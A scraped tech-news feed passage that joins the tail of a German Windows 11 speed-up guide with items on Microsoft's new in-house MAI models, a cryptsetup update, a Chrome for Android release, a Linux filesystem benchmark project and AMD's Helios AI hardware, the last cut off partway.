<p class="wp-block-paragraph">Die einfachste Lösung: Wählen Sie oben im Dialogfeld die Option “<strong>Optimale Einstellung automatisch auswählen</strong>“. In diesem Fall deaktiviert <a href="https://www.computerwoche.de/operating-systems/" target="_blank" class="idgGlossaryLink">Windows</a> 11 automatisch die Effekte, die Ihr System verlangsamen.</p>



<p class="wp-block-paragraph"><strong>8. Transparenz deaktivieren</strong></p>



<p class="wp-block-paragraph">Ein weiterer Hebel, um <a href="https://www.computerwoche.de/operating-systems/" target="_blank" class="idgGlossaryLink">Windows</a> 11 schneller zu machen: Deaktivieren Sie auch die Transparenzeffekte in der Taskleiste und an anderen Stellen. Diese kosten erstaunlich viel Systemleistung. Klicken Sie sich dazu im Einstellungsmenü über “<strong>Personalisierung</strong>” bis zu “<strong>Farben</strong>” durch und schieben Sie den Schieberegler für die Transparenzeffekte auf Aus.</p>



<p class="wp-block-paragraph"><strong>9. Energieeinstellungen anpassen</strong></p>



<p class="wp-block-paragraph">Mit Hilfe der Energieeinstellungen Ihres <a href="https://www.computerwoche.de/operating-systems/" target="_blank" class="idgGlossaryLink">Windows</a>-11-PCs können Sie Energieeffizienz und Leistung in Einklang bringen. Ist auf Ihrem System ein Energiesparplan aktiviert, führt das also in jedem Fall zu Leistungseinbußen.</p>



<p class="wp-block-paragraph">Um das zu verhindern, rufen Sie die Systemsteuerung auf und wählen dann “<strong>Hardware und Sound</strong>“, gefolgt von “<strong>Energieoptionen</strong>“. Wählen Sie nun die gewünschte Einstellung. Für Desktop-Benutzer gibt es keinen Grund, die Option “Energiesparen” zu wählen – und selbst Laptop-Benutzer sollten die Option “Ausgewogen” in Betracht ziehen.</p>



<p class="wp-block-paragraph"><strong>10. Windows-Tipps und -Tricks abschalten</strong></p>



<p class="wp-block-paragraph"><a href="https://www.computerwoche.de/operating-systems/" target="_blank" class="idgGlossaryLink">Windows</a> 11 analysiert ständig, was Sie auf Ihrem PC tun, und gibt Ihnen an diversen Stellen Tipps, “um noch mehr zu machen”. Hilfreich sind die allerdings selten – und ein schlechtes Gefühl gibt’s inklusive, wenn Windows ständig über die Schulter schaut. Viel wichtiger ist aber, dass diese Art des Monitorings auch Ihr System verlangsamen kann.</p>



<p class="wp-block-paragraph">Um <a href="https://www.computerwoche.de/operating-systems/" target="_blank" class="idgGlossaryLink">Windows</a> 11 dazu zu bringen, die Ratschläge für sich zu behalten, öffnen Sie das Einstellungsmenü und wählen anschließend “<strong>System</strong>” und dann “<strong>Benachrichtigungen</strong>“. Hier scrollen Sie ganz nach unten, um unter dem Punkt “<strong>Zusätzliche Einstellungen</strong>” das Kontrollkästchen “<strong>Tipps und Vorschläge erhalten, wenn Windows verwendet wird</strong>“.</p>



<p class="wp-block-paragraph"><strong>11. Spielmodus deaktivieren</strong></p>



<p class="wp-block-paragraph">Der in <a href="https://www.computerwoche.de/operating-systems/" target="_blank" class="idgGlossaryLink">Windows</a> 11 integrierte Spielmodus ist sinnvoll, wenn Sie Games zocken. Sobald das System eines erkennt, verwendet es die Systemressourcen vorrangig dafür – zulasten aller anderen Anwendungen und Hintergrundprozesse. Wenn Sie allerdings gerade nicht, beziehungsweise nie spielen, kann der Spielmodus Ihr System verlangsamen, denn er hält einige Systemressourcen in Reserve – und führt gelegentlich auch zu Stabilitätsproblemen. </p>



<p class="wp-block-paragraph">Da der Spielmodus standardmäßig aktiviert ist, müssen Sie ihn abschalten. Dazu rufen Sie im Einstellungsmenü “<strong>Spiele</strong>” und anschließend “<strong>Spielemodus</strong>” auf und betätigen den Schieberegler entsprechend.</p>



<p class="wp-block-paragraph"><strong>12. Treiber aktualisieren</strong></p>



<p class="wp-block-paragraph">Veraltete Treiber können Ihren <a href="https://www.computerwoche.de/operating-systems/" target="_blank" class="idgGlossaryLink">Windows</a>-11-PC signifikant erlahmen lassen. Um zu verhindern, dass es soweit kommt, gehen Sie wie folgt vor: </p>



<ul class="wp-block-list">
<li><p>Rufen Sie die Windows-Einstellungen auf (<strong>Windows-Taste + I</strong>).</p></li>



<li><p>Wählen Sie zunächst “<strong>Windows Update</strong>” im Menü links, anschließend im Hauptfenster zuerst “<strong>Erweiterte Optionen</strong>“, dann “<strong>Optionale Updates</strong>“.</p></li>



<li><p>In der <strong>Treiberupdate</strong>-Auflistung dürfen Sie nun diejenigen auswählen, die Sie herunterladen und installieren möchten.</p></li>
</ul>



<p class="wp-block-paragraph"><strong>13. Windows neu starten</strong></p>



<p class="wp-block-paragraph">Last, but not least eine echte Geheimwaffe aus den <a href="https://www.computerwoche.de/article/2616501/die-duemmsten-it-support-anfragen.html" title="IT-Abteilungen dieser Welt" target="_blank">IT-Abteilungen dieser Welt</a>: Wenn Ihr Rechner lahmt, <strong>starten Sie ihn neu</strong>. Das sorgt dafür, dass der Arbeitsspeicher wieder ins Reine kommt und nicht mehr benötigte Prozesse beendet werden.</p>



<p class="wp-block-paragraph"><strong>Dieser Beitrag ist <a href="https://www.computerworld.com/article/1617815/how-to-speed-up-windows-11.html" target="_blank">im Original</a> bei unserer Schwesterpublikation Computerworld.com erschienen.</strong></p>
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<title><![CDATA[Microsoft launches new in-house AI models it says cut costs up to 89% versus OpenAI]]></title>
<description><![CDATA[Microsoft AI released two new in-house models into public preview on Wednesday — MAI-Image-2.5-Pro, its highest-fidelity image generator to date, and MAI-Voice-2-Flash, a speech model built for high-volume enterprise workloads — while publishing production data that amounts to the company's most ...]]></description>
<link>https://tsecurity.de/de/3690504/it-nachrichten/microsoft-launches-new-in-house-ai-models-it-says-cut-costs-up-to-89-versus-openai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690504/it-nachrichten/microsoft-launches-new-in-house-ai-models-it-says-cut-costs-up-to-89-versus-openai/</guid>
<pubDate>Fri, 24 Jul 2026 02:50:17 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://microsoft.ai/">Microsoft AI</a> released two new in-house models into public preview on Wednesday — <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Image-2.5-Pro</a>, its highest-fidelity image generator to date, and <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Voice-2-Flash</a>, a speech model built for high-volume enterprise workloads — while publishing production data that amounts to the company's most aggressive argument yet that it can power its own products without leaning on OpenAI's frontier models.</p><p>The announcement, made by <a href="https://microsoft.ai/">Microsoft AI's Superintelligence team</a>, lands roughly a year after the company committed to building purpose-built models internally, and it arrives with an unusual level of specificity about where those models now run: <a href="https://www.bing.com/">Bing</a>, <a href="https://www.microsoft.com/en-us/microsoft-365/powerpoint">PowerPoint</a>, <a href="https://www.microsoft.com/en-us/microsoft-365/onedrive/online-cloud-storage">OneDrive</a>, <a href="https://www.microsoft.com/en-us/dynamics-365">Dynamics 365</a>, <a href="https://excel.cloud.microsoft/en-us/">Excel</a>, <a href="https://github.com/features/copilot">GitHub Copilot</a>, and <a href="https://azure.microsoft.com/en-us">Azure</a>. The message to enterprise buyers — and, implicitly, to OpenAI — is that Microsoft's homegrown models are no longer research projects. They are production infrastructure serving millions of users.</p><p>"Each of these enhancements is a step toward the same goal: Microsoft products, powered by Microsoft models," the company wrote in its announcement blog.</p><h2><b>How MAI-Image-2.5-Pro and MAI-Voice-2-Flash stake out opposite ends of the AI cost curve</b></h2><p>The two new releases occupy opposite ends of what Microsoft calls the quality-speed-cost curve, and the positioning is deliberate. <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Image-2.5-Pro</a> targets the premium tier: hero imagery, detailed editing, and precise in-image text rendering — the last of which has long been a notorious weak spot for image generation models. Microsoft priced the model at $5 per million text input tokens, $8 per million image input tokens, and $106 per million image output tokens. The base <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Image-2.5</a> model recently launched at <a href="https://microsoft.ai/news/introducing-mai-image-2-5/">No. 2 for image editing on Arena</a>, the community leaderboard that has become a de facto scoreboard for generative media.</p><p>The creative industry appears to be taking notice. Rob Reilly, global chief creative officer at advertising giant WPP, called the Pro model "a strong leap forward for GenMedia tools" in a statement included in Microsoft's announcement, adding that "Microsoft has firmly established itself among the leaders in generative AI."</p><p><a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Voice-2-Flash</a> goes the other direction. First previewed at Microsoft's <a href="https://news.microsoft.com/build-2026/">Build conference</a>, Flash runs twice as fast as MAI-Voice-2 and costs 32% less, priced at $15 per million characters. It is designed for the unglamorous but enormous market of high-volume voice — call centers, voice agents, and real-time speech applications where latency and cost-per-call matter more than marginal gains in expressiveness. Together, the two models reflect a strategy of building families of models rather than a single flagship, because, as the company put it, a creative studio chasing maximum fidelity has very different needs from a customer service operation handling millions of calls a day.</p><h2><b>Microsoft's production metrics show in-house models cutting GPU costs by up to 89%</b></h2><p>The model launches are arguably less newsworthy than the deployment metrics Microsoft attached to them — numbers that read like a systematic case for swapping out third-party frontier models across its product portfolio. </p><p><a href="https://explore.microsoft.com/en-us/bing/features/bing-image-creator?form=MA13FV">Bing Image Creator </a>now runs entirely on <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Image-2.5</a>, end to end, marking the first time the consumer image tool is fully in-house. In PowerPoint, Microsoft says MAI-Image-2.5 reduces GPU costs by up to 84% compared with GPT-Image-2, OpenAI's image model. In OneDrive, where MAI-Image-2.5 is now the default for key image-editing scenarios, the company reports a 26% increase in save rates, roughly 25% lower P95 latency, and 2.5 times greater efficiency under medium-utilization production workloads.</p><p>On the voice side, <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Voice-2-Flash</a> now powers Dynamics 365 Contact Center — the platform used by customers including T-Mobile and EasyJet — where Microsoft claims GPU cost reductions of up to 89%. The model is also integrated into Azure Voice Live for developers building speech-to-speech agents.</p><p>Perhaps the most consequential deployment sits in healthcare. Microsoft's <a href="https://www.microsoft.com/en-us/health-solutions/clinical-workflow/dragon-copilot">Dragon Copilot</a>, used by 170,000 medical providers and responsible for processing 28 million patient encounters last quarter, now runs on MAI-Transcribe-1.5 for its multilingual workflow across 58 languages. Microsoft says internal evaluations show a 50% relative reduction in both transcription and language-identification error rates across most languages — a meaningful claim in a domain where transcription errors can propagate directly into clinical notes.</p><h2><b>Inside the 'hill-climbing' strategy that lets small models beat GPT-5.6 in Excel</b></h2><p>In a companion post published the same day, Microsoft detailed the methodology behind these results — what it calls its "<a href="https://microsoft.ai/news/hill-climbing-mai-models-for-github-copilot-and-excel/">hill-climbing machine</a>," an integrated flywheel of data, models, and the product "harness" that surrounds them.</p><p>The clearest example is <a href="https://microsoft.ai/news/introducingmai-code-1-flash/">MAI-Code-1-Flash</a>, the lightweight coding model launched in GitHub Copilot in June. Microsoft says the model achieves an approximately 10% higher code accept rate than GPT-5.4 Mini and Claude Haiku 4.5 in VS Code, while using 10% fewer median tokens. Developer retention tells a similar story: users were 6% more likely to return across multiple days than with GPT-5.4 Mini, and 11% more likely than with Claude Haiku 4.5.</p><p>Then Microsoft did something more interesting. It took the MAI-Code-1-Flash checkpoint and further <a href="https://microsoft.ai/news/hill-climbing-mai-models-for-github-copilot-and-excel/">trained it inside an Excel reinforcement learning environment</a>, teaching a coding model the tools and workflows of spreadsheet knowledge work. The result, according to production user feedback, is a model on par with GPT-5.6 for the most common Excel tasks — while being small enough to run on Nvidia's older H100 and even A100 GPUs rather than requiring the latest-generation accelerators.</p><p>That hardware detail deserves emphasis. Every major AI company is fighting for allocation of cutting-edge chips, and a model that delivers frontier-adjacent quality on two-generation-old silicon fundamentally changes the deployment economics. It also frees the newest hardware — including Microsoft's now-operational GB200 cluster — for training rather than serving.</p><h2><b>Satya Nadella's 'frontier diffusion' manifesto redraws the OpenAI relationship</b></h2><p>Microsoft CEO Satya Nadella framed the announcements in a lengthy post on X titled "<a href="https://x.com/satyanadella/status/2080329851127669104">Frontier Diffusion &amp; Control</a>," which functions as something close to a strategic manifesto. "We can now take saturated frontier capabilities and deliver them at scale and at lower cost through models optimized for high-usage products, while continuing to use frontier models for frontier needs," Nadella wrote, adding that Microsoft is "beginning to route traffic across our first-party surfaces to MAI whenever our models match or outperform frontier alternatives."</p><p>Translated from executive prose: capabilities that were state-of-the-art a year ago are now table stakes, and Microsoft believes it can replicate them cheaply for the specific, repetitive tasks that dominate real product usage. Why pay frontier prices for a frontier model when a user just wants to reformat a spreadsheet column?</p><p>Nadella was careful to note that "frontier models from OpenAI and Anthropic are part of the orchestration system alongside MAI" — but he also articulated a pointed principle of model independence, arguing that a company's evaluations "should continue to hill climb even when any given model has been removed." </p><p>“Keeping the harness, memory, context, and skills outside the model, he argued, is what gives Microsoft control. The subtext is hard to miss. Reuters reported in April that Microsoft’s <a href="https://www.reuters.com/legal/litigation/microsoft-end-exclusive-license-openais-technology-2026-04-27/">exclusive license to OpenAI’s technology</a> had been revised into a non-exclusive arrangement, and The Information reported last September that Microsoft had <a href="https://www.theinformation.com/articles/microsoft-buy-ai-anthropic-shift-openai">begun incorporating Anthropic models</a> into some products. Wednesday’s announcement completes the triangle: Microsoft as orchestrator, with its partners’ frontier models as interchangeable components and its own models absorbing an ever-larger share of routine traffic.”</p><h2><b>Developers cheer cheaper task-specific models while skeptics question Microsoft's track record</b></h2><p>The response online captured both the appeal and the skepticism surrounding the strategy. "I love when people use small models for niche tasks," wrote one X user, <a href="https://x.com/mavihsk/status/2080330529547993252">@mavihsk</a>, responding to Nadella's post. "Why do I have to use the all-knowing model just to change my field in Excel?" Another user, <a href="https://x.com/nabu_lines/status/2080343512780837226">@nabu_lines</a>, distilled the pitch neatly: "cost and performance both improve when you stop overusing the biggest model."</p><p>Others were less charitable about Microsoft's execution track record. "Microsoft is the worst when it comes to listening to user feedback," wrote designer <a href="https://x.com/designedbyabin/status/2080332368301412434">@designedbyabin</a>, arguing the company "will lose the AI race because they repeatedly failed to understand user needs." And one user, <a href="https://x.com/tokenoverflow/status/2080386145712824694">@tokenoverflow</a>, offered a drier critique of the model-independence pitch: "i want it keep hill climbing after removing microsoft."</p><p>The skeptics raise a fair point. Microsoft's self-reported metrics — accept rates, save rates, GPU savings — come from its own internal evaluations, not independent benchmarks, and the company chooses which comparisons to publish.</p><p>But the strategy's logic does not depend on any single number. Nadella's framing that software now has "<a href="https://x.com/satyanadella/status/2080329851127669104">real marginal cost for the first time</a>" explains why Microsoft is obsessive about tokens, GPUs, and serving costs: when AI features run on every keystroke across a billion-user product portfolio, an 84% GPU cost reduction is not an optimization. It is the difference between a viable business and a money pit.</p><h2><b>Why Microsoft is turning its internal AI playbook into an Azure product</b></h2><p>The final piece of the strategy is that Microsoft is selling the playbook, not just the models. Nadella explicitly positioned the hill-climbing approach as "a template for every other AI native, SaaS, or Enterprise company," and Microsoft is packaging the toolchain through Foundry and what it calls Frontier Tuning — letting enterprises train specialized models against their own proprietary evaluations and reinforcement learning environments. That turns Microsoft's internal cost-cutting exercise into an Azure product, and it gives enterprise customers a reason to run their AI workloads on Microsoft's cloud even if the models themselves come from elsewhere.</p><p>The company's emphasis on models trained "on clean, traceable, enterprise-grade data, without distillation from third-party models" serves the same commercial end. In an industry facing mounting scrutiny over training data provenance, Microsoft is betting that enterprise buyers — and courts — will care where model capabilities come from. Microsoft says it is now extending the hill-climbing approach to <a href="https://copilot.microsoft.com/">Copilot Chat</a>, <a href="https://outlook.live.com/mail/">Outlook</a>, and <a href="https://www.microsoft.com/en-us/microsoft-365/powerpoint">PowerPoint</a>, and both new models are available in public preview through <a href="https://azure.microsoft.com/en-us/products/ai-foundry">Microsoft Foundry</a> and the <a href="https://playground.microsoft.ai/">MAI Playground</a>. "None of this is an endpoint," the company wrote. "We're just getting started."</p><p>Seven years ago, <a href="https://www.cnbc.com/2024/08/10/rise-of-openai-microsofts-13-billion-artificial-intelligence-bet.html">Microsoft bet more than $13 billion</a> that OpenAI would build the future of AI. Wednesday's announcement suggests the company has since learned a cheaper lesson: the future of AI may belong to whoever builds the frontier, but the profits belong to whoever makes it ordinary.</p>]]></content:encoded>
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<title><![CDATA[How to Update Cryptsetup for AF_ALG Compatibility]]></title>
<description><![CDATA[Cryptsetup 2.8.7 addresses the AF_ALG fallout affecting encrypted Linux systems. This guide walks you through updating cryptsetup across Ubuntu, Fedora, and Arch, verifying LUKS volumes work correctly, testing encryption performance, and troubleshooting boot issues to avoid failures.]]></description>
<link>https://tsecurity.de/de/3690479/linux-tipps/how-to-update-cryptsetup-for-afalg-compatibility/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690479/linux-tipps/how-to-update-cryptsetup-for-afalg-compatibility/</guid>
<pubDate>Fri, 24 Jul 2026 02:10:35 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Cryptsetup 2.8.7 addresses the AF_ALG fallout affecting encrypted Linux systems. This guide walks you through updating cryptsetup across Ubuntu, Fedora, and Arch, verifying LUKS volumes work correctly, testing encryption performance, and troubleshooting boot issues to avoid failures.]]></content:encoded>
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<title><![CDATA[Chrome for Android Update]]></title>
<description><![CDATA[   Hi, everyone! We've just released Chrome 150 (150.0.7871.186) for Android. It'll become available on Google Play over the next few days. This release includes stability and performance improvements. You can see a full list of the changes in the Git log. If you find a new issue, please let us k...]]></description>
<link>https://tsecurity.de/de/3690352/it-security-nachrichten/chrome-for-android-update/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690352/it-security-nachrichten/chrome-for-android-update/</guid>
<pubDate>Fri, 24 Jul 2026 00:27:11 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>   Hi, everyone! We've just released <b>Chrome 150 (150.0.7871.186)</b> for Android. It'll become <a href="https://play.google.com/store/apps/details?id=com.android.chrome">available on Google Play</a> over the next few days. </p><p>This release includes stability and performance improvements. You can see a full list of the changes in the <a href="https://chromium.googlesource.com/chromium/src/+log/150.0.7871.181..150.0.7871.186?pretty=fuller&amp;n=10000">Git log</a>. If you find a new issue, please let us know by <a href="https://code.google.com/p/chromium/issues/entry?template=Android%20Issue">filing a bug</a>.</p><div><br></div><div>Android releases contain the same security fixes as their corresponding<a href="https://chromereleases.googleblog.com/2026/07/stable-channel-update-for-desktop_01320465736.html"> Desktop releases</a> (Windows &amp; Mac: 150.0.7871.181/182, Linux: 150.0.7871.181) unless otherwise noted.</div><div><div><br></div><div><div>Krishna Govind</div><div><a href="https://www.google.com/chrome/">Google Chrome</a></div></div></div>]]></content:encoded>
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<title><![CDATA[I built a Linux filesystem benchmark for corruption, snapshots, rebuilds and ENOSPC across 26 storage layouts]]></title>
<description><![CDATA[Most filesystem benchmarks measure throughput on a freshly formatted single device. That is useful, but it misses many of the reasons people choose btrfs, ZFS or bcachefs in the first place. I built modern-fs-benchmark to examine modern filesystems as complete storage systems, including their fea...]]></description>
<link>https://tsecurity.de/de/3690327/linux-tipps/i-built-a-linux-filesystem-benchmark-for-corruption-snapshots-rebuilds-and-enospc-across-26-storage-layouts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690327/linux-tipps/i-built-a-linux-filesystem-benchmark-for-corruption-snapshots-rebuilds-and-enospc-across-26-storage-layouts/</guid>
<pubDate>Fri, 24 Jul 2026 00:13:06 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Most filesystem benchmarks measure throughput on a freshly formatted single device. That is useful, but it misses many of the reasons people choose btrfs, ZFS or bcachefs in the first place.</p> <p>I built modern-fs-benchmark to examine modern filesystems as complete storage systems, including their features, failure modes and behavior over time.</p> <p>The current matrix contains 26 configurations across btrfs, ZFS, bcachefs, ext4 and XFS over md/LVM, dm-integrity, native and LUKS encryption, parity layouts, and XFS on a ZFS zvol.</p> <p>Hosted CI dashboard:</p> <p><a href="https://bartosz.fenski.pl/modern-fs-benchmark/">https://bartosz.fenski.pl/modern-fs-benchmark/</a></p> <p>Experimental real-hardware dashboard:</p> <p><a href="https://bartosz.fenski.pl/modern-fs-benchmark/real-hw/">https://bartosz.fenski.pl/modern-fs-benchmark/real-hw/</a></p> <p>Apache-2.0 licensed source and complete methodology:</p> <p><a href="https://github.com/fenio/modern-fs-benchmark">https://github.com/fenio/modern-fs-benchmark</a></p> <p>The raw benchmark datasets are published under CC BY 4.0. Every result records the kernel and filesystem tool/module versions. CI artifacts also contain a full command trace, so the exact workload is inspectable rather than hidden behind a chart.</p> <p><strong>Why I started this project</strong></p> <p>Many filesystem benchmarks follow a familiar pattern: create a filesystem with mostly default options, mount it, run fio or another generic workload, and compare throughput.</p> <p>General-purpose suites such as the Phoronix Test Suite are useful for conventional performance comparisons, but they do not focus on the machinery that makes modern copy-on-write filesystems interesting.</p> <p>I wanted a benchmark designed around btrfs, ZFS and bcachefs as multi-device storage systems rather than treating them as interchangeable replacements for ext4 on a single freshly formatted disk.</p> <p>That means testing behavior such as:</p> <p>- Redundancy and degraded operation</p> <p>- Snapshot aging, scaling and reclamation</p> <p>- Compression and encryption</p> <p>- Reflinks and clone divergence</p> <p>- Fsync tail latency and responsiveness under load</p> <p>- Rebuild and scrub behavior</p> <p>- Near-full and hard-ENOSPC behavior</p> <p>- Data integrity and recovery from corruption</p> <p>Ext4 and XFS over md, LVM and dm-integrity are included as classic-stack baselines so the costs and benefits of integrated CoW designs can be compared with layered alternatives.</p> <p>Silent corruption is one particularly important example. When one redundant copy is deliberately corrupted behind the filesystem, checksumming filesystems such as btrfs, ZFS and bcachefs can identify the damaged copy and recover from a valid replica.</p> <p>Traditional md/LVM redundancy without data checksums can notice during a scrub that its copies disagree, but it cannot determine which one is correct. In my tests, some classic configurations returned corrupted data successfully without an application-visible error.</p> <p>The dm-integrity configuration shows that a classic layered stack can obtain integrity protection too, with a measurable performance cost.</p> <p><strong>An important limitation</strong></p> <p>The main dashboard uses loop devices on GitHub-hosted VMs. Absolute throughput numbers and small differences between filesystems should not be interpreted as hardware rankings.</p> <p>The hosted runs are primarily useful for:</p> <p>- Correctness and integrity outcomes</p> <p>- Comparisons within the same job</p> <p>- Large behavioral differences</p> <p>- Snapshot-aging and near-full shapes</p> <p>- Trends across repeated runs</p> <p>Real disks are required for meaningful absolute performance, concurrency scaling, device parallelism and mixed-media topologies.</p> <p>I am aware of this limitation and do not want the hosted dashboard to suggest more precision than the underlying environment can provide.</p> <p><strong>The real-hardware experiment</strong></p> <p>Kent Overstreet, the creator of bcachefs, made one of his Hetzner machines available for a real-hardware experiment.</p> <p>The server had two physical NVMe devices. It completed three full benchmark runs, which are available in the separate real-hardware dashboard. These runs provided meaningful absolute measurements and exposed concurrency behavior that cannot be observed when several loop devices share one virtual disk.</p> <p>During the fourth run, one NVMe controller entered the kernel’s dead state. The existing machine environment had its operating system on RAID0 across the two NVMe devices, so the hardware failure also made part of /nix/store unreadable and eventually prevented new SSH sessions.</p> <p>The incomplete fourth run is not being published as benchmark data. This was a failure of the underlying hardware, not a result attributable to any filesystem being tested.</p> <p>I am grateful to Kent for providing the machine and making the real-hardware experiment possible. Without that access, the three existing hardware runs would not exist.</p> <p><strong>Where I would like to take it</strong></p> <p>Better hardware would not merely produce more reliable throughput numbers. It would enable an entirely new class of tests designed for multi-device and multi-tier filesystems.</p> <p>I would eventually like to run the suite on a machine containing several storage classes, for example two HDDs, two SSDs and an NVMe device.</p> <p>That could support scenarios such as:</p> <p>- HDD, SSD and NVMe baselines using identical workloads</p> <p>- bcachefs foreground and background targets</p> <p>- ZFS HDD data vdevs with SSD special vdevs</p> <p>- Separate ZFS L2ARC and SLOG experiments</p> <p>- LVM dm-cache in writeback and writethrough modes</p> <p>- Metadata and small-block placement on faster media</p> <p>- Foreground latency during background migration</p> <p>- Contention between fast and slow storage tiers</p> <p>- Degraded operation and rebuild under application load</p> <p>- Performance before, during and after promoting or evacuating a storage tier</p> <p>These are the kinds of scenarios for which multi-device and multi-tier filesystems are built, but they cannot be represented honestly when every “device” is a loop file backed by the same cloud disk.</p> <p>I am considering either renting a suitable dedicated server or eventually building and hosting my own machine. Providers such as Worldstream offer configurations close to what I need, but the recurring cost is currently outside the project’s budget.</p> <p>For now, the benchmark will remain in its hosted-CI form for an unknown amount of time. The existing dashboard will continue to be useful for correctness, behavioral comparisons and regression tracking, but it cannot answer every real-hardware performance question or model complex mixed-media topologies.</p> <p>I am also open to running the suite on hardware provided by someone else. A useful environment would need Linux root access, clearly identified block devices that may be wiped, and enough uninterrupted access to complete repeated runs. The hardware description, methodology and resulting data would remain public.</p> <p>I would appreciate technical feedback:</p> <p>- Which current tests are misleading or unfair?</p> <p>- Which failure scenarios are missing?</p> <p>- Which mixed-media topologies would be most useful?</p> <p>- Which additional filesystems or layered stacks should be included?</p> <p>- Which results deserve deeper investigation?</p> <p>The methodology, implementation and raw results are public. If a filesystem is being tested in a way that misrepresents it, I consider that a bug in the benchmark.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/bfenski"> /u/bfenski </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1v4lsfk/i_built_a_linux_filesystem_benchmark_for/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1v4lsfk/i_built_a_linux_filesystem_benchmark_for/">[comments]</a></span>]]></content:encoded>
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<title><![CDATA[AMD raises the AI stakes with Helios, Venice and robotics]]></title>
<description><![CDATA[AMD executives took to the stage at its Advancing AI 2026 event in San Francisco today to detail the company’s next generation of AI infrastructure solutions, from Instinct MI455X AI accelerator GPUs and 6th Gen EPYC “Venice” CPUs, to Pensando networking, ROCm.AI software and its Helios rack-scal...]]></description>
<link>https://tsecurity.de/de/3690010/it-nachrichten/amd-raises-the-ai-stakes-with-helios-venice-and-robotics/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690010/it-nachrichten/amd-raises-the-ai-stakes-with-helios-venice-and-robotics/</guid>
<pubDate>Thu, 23 Jul 2026 20:48:09 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">AMD executives took to the stage at its Advancing AI 2026 event in San Francisco today to detail the company’s next generation of AI infrastructure solutions, from Instinct MI455X AI accelerator GPUs and 6th Gen EPYC “Venice” CPUs, to Pensando networking, ROCm.AI software and its Helios rack-scale platform that ties it all together.</p>



<p class="wp-block-paragraph">AMD has been working towards rack-scale AI system solutions for years. Its ZT Systems acquisition last year added valuable engineering talent and intellectual property that is now finally bearing the real fruits. Its <a href="https://www.amd.com/en/products/rackscale-solutions/helios.html" target="_blank" rel="noreferrer noopener">Helios AI platform</a> is a major platform evolution for AMD, with shipments scheduled to begin in the second half of this year (which is here and now).</p>



<p class="wp-block-paragraph">The announcements at Advancing AI show how the company has engineered its AI platform solutions for large reasoning models, sustained inference and agentic workflows. These workloads pressure memory capacity, data movement, networking and CPU orchestration. AMD’s approach is to keep as much data close to the compute engines as possible and move it more efficiently throughout the system, but there’s deeper nuance here that’s obvious versus AMD’s chief rival, NVIDIA.  </p>



<h2 class="wp-block-heading">AMD’s MI455X targets the AI memory wall</h2>



<p class="wp-block-paragraph">The Instinct MI455X GPU is the compute engine that fuels the Helios rack, and the first GPU based on AMD’s new CDNA 5 architecture. Built with a modular mix of 2nm and 3nm chiplets, it carries 432GB of HBM4 and 23.3TB/s of peak memory bandwidth.</p>



<p class="wp-block-paragraph">Compared to AMD’s current MI355X, <a href="https://hothardware.com/news/instinct-mi400-challenge-vera-rubin" target="_blank" rel="noreferrer noopener">the MI455X offers</a> 1.5 times the memory capacity, up to 2.9 times the peak memory bandwidth and up to four times the peak matrix performance with MXFP4 and MXFP8 data types, which are lower-precision numerical formats designed to accelerate AI processing while reducing memory demands. With MXFP6 (6-bit floating point), performance is rated at up to twice that of MI355X.</p>



<p class="wp-block-paragraph">AMD also shared some actual, measured internal results using production silicon. The company claims MI455X delivers 3.8 times higher FP8 decode performance, 3.5 times more measured FP4 compute performance and between 2.5 and 3.5 times more networking bandwidth than MI355X, depending on the transfer path tested. Those figures provide more context than just numerical specifications, though they remain AMD-provided comparisons that will need independent validation.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-generational-leap.jpg?quality=50&amp;strip=all&amp;w=1024" alt="AMD Instinct chart showing generational leap in performance" class="wp-image-4200600" width="1024" height="547" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">AMD</p></div>



<p class="wp-block-paragraph">The architectural choices behind the numbers are important. Reasoning models and long context windows require sizeable KV caches for maintaining AI attention states, while mixture-of-experts models frequently move large amounts of data across accelerators. MI455X should let more model data, activation states and cache remain local. New dedicated IP in hardware can transfer data while the GPU continues processing, and expanded cache and multicast capabilities are designed to reduce redundant data movement to further improve efficiency.</p>



<p class="wp-block-paragraph">The aforementioned lower-precision formats can also raise throughput and reduce memory use, but model developers still have to determine where they can be applied without unacceptable accuracy loss.</p>



<h2 class="wp-block-heading">AMD’s Helios rack takes aim at Vera Rubin</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-helios-rack.jpg?quality=50&amp;strip=all&amp;w=1024" alt="AMD Helios rack" class="wp-image-4200601" width="1024" height="626" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Dave Altavilla</p></div>



